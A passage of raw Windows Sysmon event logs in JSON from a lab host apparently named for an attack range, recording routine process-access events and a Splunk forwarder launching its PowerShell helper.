C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.354","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BC-5F2D-0000-0010CF610D00}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7588,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42DF-5F2D-0000-00109E0F0E00}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42DF-5F2D-0000-00109E0F0E00}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7589,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.697\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-00107C6E0B00}\r\nTargetProcessId: 812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.697","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-00107C6E0B00}","TargetProcessId":"812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7590,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.697\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-00107C6E0B00}\r\nTargetProcessId: 812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.697","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-00107C6E0B00}","TargetProcessId":"812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7591,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A9-5F2D-0000-00107C6E0B00}\r\nTargetProcessId: 812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A9-5F2D-0000-00107C6E0B00}","TargetProcessId":"812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":7592,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.855\r\nProcessGuid: {90617006-42DF-5F2D-0000-0010FD180E00}\r\nProcessId: 3168\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.855","ProcessGuid":"{90617006-42DF-5F2D-0000-0010FD180E00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7593,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.854\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-0010760E0D00}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.854","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-0010760E0D00}","TargetProcessId":"3168","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7594,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-0010760E0D00}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-0010760E0D00}","TargetProcessId":"3168","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7595,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7596,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 